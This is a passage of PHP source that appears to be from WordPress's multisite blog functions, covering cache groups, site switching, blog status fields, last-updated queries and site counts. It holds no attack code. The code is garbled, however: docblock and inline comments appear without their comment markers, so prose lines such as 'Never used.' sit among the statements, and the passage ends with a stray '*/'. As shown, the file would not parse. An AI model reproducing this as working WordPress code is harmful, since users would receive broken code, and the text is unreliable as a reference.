$global_groups = false;
}
wp_cache_init();
if ( function_exists( 'wp_cache_add_global_groups' ) ) {
if ( is_array( $global_groups ) ) {
wp_cache_add_global_groups( $global_groups );
} else {
wp_cache_add_global_groups(
array(
'blog-details',
'blog-id-cache',
'blog-lookup',
'blog_meta',
'global-posts',
'networks',
'sites',
'site-details',
'site-options',
'site-transient',
'rss',
'users',
'useremail',
'userlogins',
'usermeta',
'user_meta',
'userslugs',
)
);
}
wp_cache_add_non_persistent_groups( array( 'counts', 'plugins' ) );
}
}
* This filter is documented in wp-includes/ms-blogs.php
do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'restore' );
If we still have items in the switched stack, consider ourselves still 'switched'.
$GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] );
return true;
}
*
* Switches the initialized roles and current user capabilities to another site.
*
* @since 4.9.0
*
* @param int $new_site_id New site ID.
* @param int $old_site_id Old site ID.
function wp_switch_roles_and_user( $new_site_id, $old_site_id ) {
if ( $new_site_id == $old_site_id ) {
return;
}
if ( ! did_action( 'init' ) ) {
return;
}
wp_roles()->for_site( $new_site_id );
wp_get_current_user()->for_site( $new_site_id );
}
*
* Determines if switch_to_blog() is in effect
*
* @since 3.5.0
*
* @global array $_wp_switched_stack
*
* @return bool True if switched, false otherwise.
function ms_is_switched() {
return ! empty( $GLOBALS['_wp_switched_stack'] );
}
*
* Check if a particular blog is archived.
*
* @since MU (3.0.0)
*
* @param int $id Blog ID.
* @return string Whether the blog is archived or not.
function is_archived( $id ) {
return get_blog_status( $id, 'archived' );
}
*
* Update the 'archived' status of a particular blog.
*
* @since MU (3.0.0)
*
* @param int $id Blog ID.
* @param string $archived The new status.
* @return string $archived
function update_archived( $id, $archived ) {
update_blog_status( $id, 'archived', $archived );
return $archived;
}
*
* Update a blog details field.
*
* @since MU (3.0.0)
* @since 5.1.0 Use wp_update_site() internally.
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $blog_id Blog ID.
* @param string $pref Field name.
* @param string $value Field value.
* @param null $deprecated Not used.
* @return string|false $value
function update_blog_status( $blog_id, $pref, $value, $deprecated = null ) {
global $wpdb;
if ( null !== $deprecated ) {
_deprecated_argument( __FUNCTION__, '3.1.0' );
}
$allowed_field_names = array( 'site_id', 'domain', 'path', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' );
if ( ! in_array( $pref, $allowed_field_names, true ) ) {
return $value;
}
$result = wp_update_site(
$blog_id,
array(
$pref => $value,
)
);
if ( is_wp_error( $result ) ) {
return false;
}
return $value;
}
*
* Get a blog details field.
*
* @since MU (3.0.0)
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $id Blog ID.
* @param string $pref Field name.
* @return bool|string|null $value
function get_blog_status( $id, $pref ) {
global $wpdb;
$details = get_site( $id );
if ( $details ) {
return $details->$pref;
}
return $wpdb->get_var( $wpdb->prepare( "SELECT %s FROM {$wpdb->blogs} WHERE blog_id = %d", $pref, $id ) );
}
*
* Get a list of most recently updated blogs.
*
* @since MU (3.0.0)
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param mixed $deprecated Not used.
* @param int $start Optional. Number of blogs to offset the query. Used to build LIMIT clause.
* Can be used for pagination. Default 0.
* @param int $quantity Optional. The maximum number of blogs to retrieve. Default 40.
* @return array The list of blogs.
function get_last_updated( $deprecated = '', $start = 0, $quantity = 40 ) {
global $wpdb;
if ( ! empty( $deprecated ) ) {
_deprecated_argument( __FUNCTION__, 'MU' ); Never used.
}
return $wpdb->get_results( $wpdb->prepare( "SELECT blog_id, domain, path FROM $wpdb->blogs WHERE site_id = %d AND public = '1' AND archived = '0' AND mature = '0' AND spam = '0' AND deleted = '0' AND last_updated != '0000-00-00 00:00:00' ORDER BY last_updated DESC limit %d, %d", get_current_network_id(), $start, $quantity ), ARRAY_A );
}
*
* Handler for updating the site's last updated date when a post is published or
* an already published post is changed.
*
* @since 3.3.0
*
* @param string $new_status The new post status.
* @param string $old_status The old post status.
* @param WP_Post $post Post object.
function _update_blog_date_on_post_publish( $new_status, $old_status, $post ) {
$post_type_obj = get_post_type_object( $post->post_type );
if ( ! $post_type_obj || ! $post_type_obj->public ) {
return;
}
if ( 'publish' !== $new_status && 'publish' !== $old_status ) {
return;
}
Post was freshly published, published post was saved, or published post was unpublished.
wpmu_update_blogs_date();
}
*
* Handler for updating the current site's last updated date when a published
* post is deleted.
*
* @since 3.4.0
*
* @param int $post_id Post ID
function _update_blog_date_on_post_delete( $post_id ) {
$post = get_post( $post_id );
$post_type_obj = get_post_type_object( $post->post_type );
if ( ! $post_type_obj || ! $post_type_obj->public ) {
return;
}
if ( 'publish' !== $post->post_status ) {
return;
}
wpmu_update_blogs_date();
}
*
* Handler for updating the current site's posts count when a post is deleted.
*
* @since 4.0.0
*
* @param int $post_id Post ID.
function _update_posts_count_on_delete( $post_id ) {
$post = get_post( $post_id );
if ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) {
return;
}
update_posts_count();
}
*
* Handler for updating the current site's posts count when a post status changes.
*
* @since 4.0.0
* @since 4.9.0 Added the `$post` parameter.
*
* @param string $new_status The status the post is changing to.
* @param string $old_status The status the post is changing from.
* @param WP_Post $post Post object
function _update_posts_count_on_transition_post_status( $new_status, $old_status, $post = null ) {
if ( $new_status === $old_status ) {
return;
}
if ( 'post' !== get_post_type( $post ) ) {
return;
}
if ( 'publish' !== $new_status && 'publish' !== $old_status ) {
return;
}
update_posts_count();
}
*
* Count number of sites grouped by site status.
*
* @since 5.3.0
*
* @param int $network_id Optional. The network to get counts for. Default is the current network ID.
* @return int[] {
* Numbers of sites grouped by site status.
*
* @type int $all The total number of sites.
* @type int $public The number of public sites.
* @type int $archived The number of archived sites.
* @type int $mature The number of mature sites.
* @type int $spam The number of spam sites.
* @type int $deleted The number of deleted sites.
* }
function wp_count_sites( $network_id = null ) {
if ( empty( $network_id ) ) {
$network_id = get_current_network_id();
}
$counts = array();
$args = array(
'network_id' => $network_id,
'number' => 1,
'fields' => 'ids',
'no_found_rows' => false,
);
$q = new WP_Site_Query( $args );
$counts['all'] = $q->found_sites;
$_args = $args;
$statuses = array( 'public', 'archived', 'mature', 'spam', 'deleted' );
foreach ( $statuses as $status ) {
$_args = $args;
$_args[ $status ] = 1;
$q = new WP_Site_Query( $_args );
$counts[ $status ] = $q->found_sites;
}
return $counts;
}
*/